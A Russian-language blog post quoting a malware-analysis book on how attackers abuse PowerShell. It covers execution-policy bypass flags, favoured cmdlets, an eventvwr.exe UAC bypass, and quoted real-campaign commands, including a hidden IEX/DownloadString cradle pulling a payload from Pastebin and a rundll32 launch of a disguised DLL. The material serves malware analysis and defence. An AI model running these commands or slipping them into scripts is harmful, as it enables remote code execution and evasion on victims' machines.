Главная

Thursday, 9 January 2020

Как плохиши используют PowerShell.

Всем привет.

В прошлом году в издательстве "ДМК Пресс" вышла книга Монаппа К. А. "Анализ вредоносных программ". Довольно подробная книжка для специалиста на 450 страниц где рассматриваются концепции, инструментальные средства и методы анализа и исследования вредоносных программ для Windows. Особенно она хороша тем что в ней отдельно выделены разделы для статистического и динамического анализа современных вредоносов. Я не встречал такого доходчивого материала со времен творения О.Зайцева "Rootkits, SpyWare/AdWare, Keyloggers & BackDoors. Обнаружение и защита" 2006-го года.

А сегодня приведу вам небольшой отрывок из книги про то как злоумышленники используют PowerShell.

Понимая основы PowerShell и то, какие инструменты использовать для анализа, давайте теперь посмотрим, как злоумышленники используют PowerShell. Из-за ограничений при выполнении сценариев PowerShell (.ps1) через консоль PowerShell или двойным щелчком (который откроет его в блокноте вместо выполнения сценария) маловероятно, что злоумышленники будут отправлять сценарии PowerShell своим жертвам напрямую. Злоумышленник должен сначала заставить пользователя выполнить вредоносный код; в основном это делается путем отправки вложений электронной почты, содержащих такие файлы, как .lnk, .wsf, javascript или вредоносные макродокументы. После того как пользователя обманом принудят открыть вложенные файлы, вредоносный код может затем вызывать PowerShell напрямую (powershell.exe) или косвенно через cmd.exe, Wscript, Cscript и т. д. После вызова PowerShell можно использовать различные методы, чтобы обойти политику выполнения. Например, чтобы обойти политику ограничения выполнения, злоумышленник может использовать вредоносный код для вызова powershell.exe и пропустить флаг политики выполнения Bypass, как показано ниже. Этот метод будет работать, даже если пользователь не является администратором, и он переопределяет политику ограничения выполнения по умолчанию и выполняет сценарий.


Таким же образом злоумышленники используют различные аргументы командной строки PowerShell для обхода политики выполнения. В следующей таблице приведены наиболее распространенные аргументы PowerShell, используемые, чтобы избежать обнаружения и обойти локальные ограничения.


  • ExecutionPolicy Bypass (-Exec bypass) - игнорирует ограничение политики выполнения и запускает сценарий без предупреждения;
  • WindowStyle Hidden (-W Hidden) - скрывает окно PowerShell;
  • NoProfile (-NoP) - игнорирует команды в файле профиля;
  • EncodedCommand (-Enc) - выполняет команду, закодированную в Base64;
  • NonInteractive (-NonI) - не представляет интерактивную подсказку пользователю;
  • Command (-C) - выполняет одну команду;
  • File (-F) - выполняет команды из данного файла.


Помимо использования аргументов командной строки PowerShell, злоумышленники также используют командлеты или API .NET в сценариях Power Shell. Ниже перечислены наиболее часто используемые команды и функции:
  • Invoke-Expression (IEX): этот командлет оценивает или выполняет указанную строку как команду;
  • Invoke-Command: этот командлет может выполнять команду PowerShell на локальном или удаленном компьютере;
  • Start-Process: этот командлет запускает процесс с заданным путем к файлу;
  • DownloadString: этот метод из System.Net.WebClient (класс WebClient) загружает ресурс из URL в виде строки;
  • DownloadFile(): этот метод из System.Net.WebClient (класс WebClient) загружает ресурс из URL-адреса в локальный файл.


Ниже приведен пример загрузчика PowerShell, используемого при атаке, упомянутой в блоге автора (cysinfo.com/cyber-attack-targeting-indian-navys-sub-marine-warship-manufacturer/). В этом случае команда PowerShell была вызвана через cmd.exe вредоносным макросом, содержащимся в таблице Microsoft Excel, который был отправлен жертвам в электронном письме во вложении. PowerShell перемещает загруженный исполняемый файл в каталог %TEMP% как doc6.exe. Затем он добавляет запись реестра для удаленного исполняемого файла и вызывает eventvwr.exe, что представляет собой интересную технику перехвата реестра, позволяющую doc6.exe выполняться с помощью eventvwr.exe с высоким уровнем целостности. При помощи этого метода также можно тихо обойти контроль учетных записей пользователей.


Ниже приведена команда PowerShell для целевой атаки (cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/). В этом случае PowerShell вызывается вредоносным макросом, и вместо прямой загрузки исполняемого файла содержимое base64 по ссылке Pastebin загружается с использованием метода DownloadString. После загрузки закодированного содержимого оно декодируется и сбрасывается на диск:
powershell -w hidden -ep bypass -nop -c "IEX ((New-ObjectNet.WebClient).DownloadString('http://pastebin.com/raw/[removed]'))"

В следующем примере перед вызовом PowerShell дроппер сначала записывает библиотеку DLL с расширением .bmp (heiqh.bmp) в каталог %Temp%, а затем запускает rundll32.exe через PowerShell для загрузки DLL и выполняет функцию экспорта DLL dlgProc:
PowerShell cd $env:TEMP ;start-process rundll32.exe heiqh.bmp,dlgProc

Для получения дополнительной информации о различных методах PowerShell, используемых при атаках вредоносных программ, см. технический документ «Расширенное использование PowerShell в атаках»: www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf.

Злоумышленники используют различные методы обфускации, чтобы сделать анализ сложнее. Чтобы понять, как они это делают, посмотрите презентацию Дэниела Боханнона с конференции Derbycon: https://www.youtube.com/watch?v=P1lkflnWb0I .

Удачи.

No comments:

Post a Comment

А что вы думаете по этому поводу?